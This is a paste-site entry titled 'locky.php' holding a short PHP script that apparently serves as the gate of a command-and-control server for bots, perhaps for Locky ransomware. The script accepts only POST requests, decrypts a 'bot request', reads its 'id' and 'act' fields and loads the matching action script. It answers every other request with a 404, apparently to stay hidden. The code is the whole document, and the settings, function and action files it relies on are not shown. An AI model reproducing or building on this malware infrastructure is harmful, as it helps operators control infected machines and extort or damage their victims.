locky.php


SUBMITTED BY: kprabhash

DATE: April 25, 2016, 10:54 a.m.

FORMAT: Text only

SIZE: 698 Bytes

HITS: 1123

  1. <?php
  2. declare(strict_types=1);
  3. require_once(__DIR__.'/settings.php');
  4. require_once(__DIR__.'/functions.php');
  5. if (!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'POST') exit_error(404);
  6. if (!($data = @file_get_contents('php://input'))) exit_error(404);
  7. parse_str(decrypt_bot_request($data), $_POST);
  8. if (empty($_POST['id']) || empty($_POST['act'])) exit_error(404);
  9. $id = get_id();
  10. /*
  11. $data = print_r($_POST, true);
  12. $fh = fopen('ppplog', 'a');
  13. fwrite($fh, $data."\n----------------------------\n");
  14. fclose($fh);
  15. */
  16. $script = __DIR__.'/actions/'.trim(basename($_POST['act'])).'.php';
  17. if (!@file_exists($script)) exit_error(404);
  18. require_once($script);
  19. ?>

comments powered by Disqus